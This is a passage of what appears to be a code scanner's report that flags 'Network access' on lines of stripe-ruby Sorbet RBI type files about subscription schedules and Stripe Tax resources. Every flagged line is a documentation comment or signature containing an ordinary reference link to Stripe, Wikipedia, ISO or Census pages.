    #     # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stri
  • Network accessline 59
    # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stripe.com
  • Network accessline 60
    sig { returns(::Stripe::Price) }     def price; end     # The [quantity](https://docs.stripe.com/subscriptions/quantities) of the plan to which the customer should be subscribed.
  • Network accessline 61
    def price; end     # The [quantity](https://docs.stripe.com/subscriptions/quantities) of the plan to which the customer should be subscribed.     sig { returns(T.nilable(Integer)) }
  • Network accessline 62
    # The [quantity](https://docs.stripe.com/subscriptions/quantities) of the plan to which the customer should be subscribed.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/subscription_schedule.rbi

  • Network accessline 6
    # A subscription schedule allows you to create and manage the lifecycle of a subscription by predefining expected changes.   #   # Related guide: [Subscription schedules](https://docs.stripe.com/billing/subscriptions/subscription-schedules)
  • Network accessline 7
    #   # Related guide: [Subscription schedules](https://docs.stripe.com/billing/subscriptions/subscription-schedules)   class SubscriptionSchedule < APIResource
  • Network accessline 8
    # Related guide: [Subscription schedules](https://docs.stripe.com/billing/subscriptions/subscription-schedules)
  • Network accessline 147
    sig { returns(T.nilable(AutomaticTax)) }       def automatic_tax; end       # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering th
  • Network accessline 148
    def automatic_tax; end       # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle 
  • Network accessline 149
    # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle anchor is automatically modif
  • Network accessline 247
    sig { returns(T::Array[Discount]) }         def discounts; end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object
  • Network accessline 248
    def discounts; end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.         sig { retur
  • Network accessline 249
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 397
    sig { returns(T::Array[Discount]) }         def discounts; end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an item. Metadata on this item will update the underlying subscription item's `me
  • Network accessline 398
    def discounts; end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an item. Metadata on this item will update the underlying subscription item's `metadata` when the phase is entered.         s
  • Network accessline 399
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an item. Metadata on this item will update the underlying subscription item's `metadata` when the phase is entered.
  • Network accessline 442
    sig { returns(T.nilable(AutomaticTax)) }       def automatic_tax; end       # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering th
  • Network accessline 443
    def automatic_tax; end       # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle 
  • Network accessline 444
    # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle anchor is automatically modif
  • Network accessline 451
    sig { returns(T.nilable(String)) }       def collection_method; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies)
  • Network accessline 452
    def collection_method; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 453
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 475
    sig { returns(T::Array[Item]) }       def items; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` 
  • Network accessline 476
    def items; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered. Updating th
  • Network accessline 477
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered. Updating the underlying subscrip
  • Network accessline 544
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 545
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nila
  • Network accessline 546
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 559
    sig { returns(T.nilable(String)) }     def released_subscription; end     # The present status of the subscription schedule. Possible values are `not_started`, `active`, `completed`, `released`, and `canceled`. You can read more about the d
  • Network accessline 560
    def released_subscription; end     # The present status of the subscription schedule. Possible values are `not_started`, `active`, `completed`, `released`, and `canceled`. You can read more about the different states in our [behavior guide]
  • Network accessline 561
    # The present status of the subscription schedule. Possible values are `not_started`, `active`, `completed`, `released`, and `canceled`. You can read more about the different states in our [behavior guide](https://docs.stripe.com/billing/su

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/association.rbi

  • Network accessline 9
    class TaxTransactionAttempt < ::Stripe::StripeObject         class Committed < ::Stripe::StripeObject           # The [Tax Transaction](https://docs.stripe.com/api/tax/transaction/object)
  • Network accessline 10
    class Committed < ::Stripe::StripeObject           # The [Tax Transaction](https://docs.stripe.com/api/tax/transaction/object)           sig { returns(String) }
  • Network accessline 11
    # The [Tax Transaction](https://docs.stripe.com/api/tax/transaction/object)
  • Network accessline 49
    end       end       # The [Tax Calculation](https://docs.stripe.com/api/tax/calculations/object) that was included in PaymentIntent.
  • Network accessline 50
    end       # The [Tax Calculation](https://docs.stripe.com/api/tax/calculations/object) that was included in PaymentIntent.       sig { returns(String) }
  • Network accessline 51
    # The [Tax Calculation](https://docs.stripe.com/api/tax/calculations/object) that was included in PaymentIntent.
  • Network accessline 58
    sig { returns(String) }       def object; end       # The [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) that this Tax Association is tracking.
  • Network accessline 59
    def object; end       # The [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) that this Tax Association is tracking.       sig { returns(String) }
  • Network accessline 60
    # The [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) that this Tax Association is tracking.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/calculation.rbi

  • Network accessline 7
    # A Tax Calculation allows you to calculate the tax to collect from your customer.     #     # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom)
  • Network accessline 8
    #     # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom)     class Calculation < APIResource
  • Network accessline 9
    # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom)
  • Network accessline 14
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 15
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 16
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 26
    sig { returns(T.nilable(String)) }           def postal_code; end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 27
    def postal_code; end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".           sig { returns(T.nilable(String)) }
  • Network accessline 28
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 77
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 78
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 79
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 89
    sig { returns(T.nilable(String)) }           def postal_code; end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 90
    def postal_code; end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".           sig { returns(T.nilable(String)) }
  • Network accessline 91
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 112
    class TaxBreakdown < ::Stripe::StripeObject           class Jurisdiction < ::Stripe::StripeObject             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 113
    class Jurisdiction < ::Stripe::StripeObject             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(String) }
  • Network accessline 114
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 121
    sig { returns(String) }             def level; end             # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 122
    def level; end             # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.             sig { returns(T.nilable(String)) }
  • Network accessline 123
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 148
    end           end           # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 149
    end           # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).           sig { returns(Integer) }
  • Network accessline 150
    # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 163
    sig { returns(String) }           def taxability_reason; end           # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 164
    def taxability_reason; end           # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).           sig { returns(Integer) }
  • Network accessline 165
    # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 173
    end         end         # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this am
  • Network accessline 174
    end         # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.       
  • Network accessline 175
    # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.
  • Network accessline 176
    sig { returns(Integer) }         def amount; end         # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 177
    def amount; end         # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(Integer) }
  • Network accessline 178
    # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 179
    sig { returns(Integer) }         def amount_tax; end         # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object).
  • Network accessline 180
    def amount_tax; end         # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object).         sig { returns(T.nilable(String)) }
  • Network accessline 181
    # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object).
  • Network accessline 188
    sig { returns(T.nilable(T::Array[TaxBreakdown])) }         def tax_breakdown; end         # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping.
  • Network accessline 189
    def tax_breakdown; end         # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping.         sig { returns(String) }
  • Network accessline 190
    # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping.
  • Network accessline 214
    end           end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 215
    end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 216
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 226
    sig { returns(T.nilable(String)) }           def rate_type; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 227
    def rate_type; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 228
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 239
    end         end         # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 240
    end         # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(Integer) }
  • Network accessline 241
    # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 251
    sig { returns(String) }         def taxability_reason; end         # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 252
    def taxability_reason; end         # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(Integer) }
  • Network accessline 253
    # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 261
    end       end       # Total amount after taxes in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 262
    end       # Total amount after taxes in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(Integer) }
  • Network accessline 263
    # Total amount after taxes in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 264
    sig { returns(Integer) }       def amount_total; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 265
    def amount_total; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 266
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 267
    sig { returns(String) }       def currency; end       # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource.
  • Network accessline 268
    def currency; end       # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource.       sig { returns(T.nilable(String)) }
  • Network accessline 269
    # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/calculation_line_item.rbi

  • Network accessline 8
    class TaxBreakdown < ::Stripe::StripeObject         class Jurisdiction < ::Stripe::StripeObject           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 9
    class Jurisdiction < ::Stripe::StripeObject           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 10
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 17
    sig { returns(String) }           def level; end           # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 18
    def level; end           # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.           sig { returns(T.nilable(String)) }
  • Network accessline 19
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 44
    end         end         # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 45
    end         # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(Integer) }
  • Network accessline 46
    # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 59
    sig { returns(String) }         def taxability_reason; end         # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 60
    def taxability_reason; end         # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(Integer) }
  • Network accessline 61
    # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 69
    end       end       # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amoun
  • Network accessline 70
    end       # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.       s
  • Network accessline 71
    # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.
  • Network accessline 72
    sig { returns(Integer) }       def amount; end       # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 73
    def amount; end       # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(Integer) }
  • Network accessline 74
    # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 81
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 82
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T.
  • Network accessline 83
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 87
    sig { returns(String) }       def object; end       # The ID of an existing [Product](https://docs.stripe.com/api/products/object).
  • Network accessline 88
    def object; end       # The ID of an existing [Product](https://docs.stripe.com/api/products/object).       sig { returns(T.nilable(String)) }
  • Network accessline 89
    # The ID of an existing [Product](https://docs.stripe.com/api/products/object).
  • Network accessline 102
    sig { returns(T.nilable(T::Array[TaxBreakdown])) }       def tax_breakdown; end       # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.
  • Network accessline 103
    def tax_breakdown; end       # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.       sig { returns(String) }
  • Network accessline 104
    # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/registration.rbi

  • Network accessline 5
    module Stripe   module Tax     # A Tax `Registration` lets us know that your business is registered to collect tax on payments within a region, enabling you to [automatically collect tax](https://docs.stripe.com/tax).
  • Network accessline 6
    module Tax     # A Tax `Registration` lets us know that your business is registered to collect tax on payments within a region, enabling you to [automatically collect tax](https://docs.stripe.com/tax).     #
  • Network accessline 7
    # A Tax `Registration` lets us know that your business is registered to collect tax on payments within a region, enabling you to [automatically collect tax](https://docs.stripe.com/tax).
  • Network accessline 8
    #     # Stripe doesn't register on your behalf with the relevant authorities when you create a Tax `Registration` object. For more information on how to register to collect tax, see [our guide](https://docs.stripe.com/tax/registering).     
  • Network accessline 9
    # Stripe doesn't register on your behalf with the relevant authorities when you create a Tax `Registration` object. For more information on how to register to collect tax, see [our guide](https://docs.stripe.com/tax/registering).
  • Network accessline 10
    #     # Related guide: [Using the Registrations API](https://docs.stripe.com/tax/registrations-api)     class Registration < APIResource
  • Network accessline 11
    # Related guide: [Using the Registrations API](https://docs.stripe.com/tax/registrations-api)
  • Network accessline 282
    class Ca < ::Stripe::StripeObject           class ProvinceStandard < ::Stripe::StripeObject             # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 283
    class ProvinceStandard < ::Stripe::StripeObject             # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(String) }
  • Network accessline 284
    # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1541
    class Us < ::Stripe::StripeObject           class LocalAmusementTax < ::Stripe::StripeObject             # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.
  • Network accessline 1542
    class LocalAmusementTax < ::Stripe::StripeObject             # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.             sig { returns(String) }
  • Network accessline 1543
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.
  • Network accessline 1552
    end           class LocalLeaseTax < ::Stripe::StripeObject             # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.
  • Network accessline 1553
    class LocalLeaseTax < ::Stripe::StripeObject             # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.             sig { returns(String) }
  • Network accessline 1554
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.
  • Network accessline 1564
    class StateSalesTax < ::Stripe::StripeObject             class Election < ::Stripe::StripeObject               # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.
  • Network accessline 1565
    class Election < ::Stripe::StripeObject               # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.               sig { returns(T.nilable(String)) }
  • Network accessline 1566
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.
  • Network accessline 1593
    sig { returns(T.nilable(LocalLeaseTax)) }           def local_lease_tax; end           # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1594
    def local_lease_tax; end           # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(String) }
  • Network accessline 1595
    # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2090
    sig { returns(Integer) }       def active_from; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2091
    def active_from; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(String) }
  • Network accessline 2092
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/settings.rbi

  • Network accessline 7
    # You can use Tax `Settings` to manage configurations used by Stripe Tax calculations.     #     # Related guide: [Using the Settings API](https://docs.stripe.com/tax/settings-api)
  • Network accessline 8
    #     # Related guide: [Using the Settings API](https://docs.stripe.com/tax/settings-api)     class Settings < SingletonAPIResource
  • Network accessline 9
    # Related guide: [Using the Settings API](https://docs.stripe.com/tax/settings-api)
  • Network accessline 13
    sig { returns(String) }         def provider; end         # Default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) used to specify whether the price is considered inclusive of taxes or e
  • Network accessline 14
    def provider; end         # Default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) used to specify whether the price is considered inclusive of taxes or exclusive of taxes. If the item's
  • Network accessline 15
    # Default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) used to specify whether the price is considered inclusive of taxes or exclusive of taxes. If the item's price has a tax behavior 
  • Network accessline 16
    sig { returns(T.nilable(String)) }         def tax_behavior; end         # Default [tax code](https://stripe.com/docs/tax/tax-categories) used to classify your products and prices.
  • Network accessline 17
    def tax_behavior; end         # Default [tax code](https://stripe.com/docs/tax/tax-categories) used to classify your products and prices.         sig { returns(T.nilable(String)) }
  • Network accessline 18
    # Default [tax code](https://stripe.com/docs/tax/tax-categories) used to classify your products and prices.
  • Network accessline 31
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 32
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 33
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 43
    sig { returns(T.nilable(String)) }           def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 44
    def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 45
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/transaction.rbi

  • Network accessline 7
    # A Tax Transaction records the tax collected from or refunded to your customer.     #     # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom#tax-transaction)
  • Network accessline 8
    #     # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom#tax-transaction)     class Transaction < APIResource
  • Network accessline 9
    # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom#tax-transaction)
  • Network accessline 14
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 15
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 16
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 26
    sig { returns(T.nilable(String)) }           def postal_code; end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 27
    def postal_code; end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".           sig { returns(T.nilable(String)) }
  • Network accessline 28
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 88
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 89
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 90
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 100
    sig { returns(T.nilable(String)) }           def postal_code; end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 101
    def postal_code; end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".           sig { returns(T.nilable(String)) }
  • Network accessline 102
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 123
    class TaxBreakdown < ::Stripe::StripeObject           class Jurisdiction < ::Stripe::StripeObject             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 124
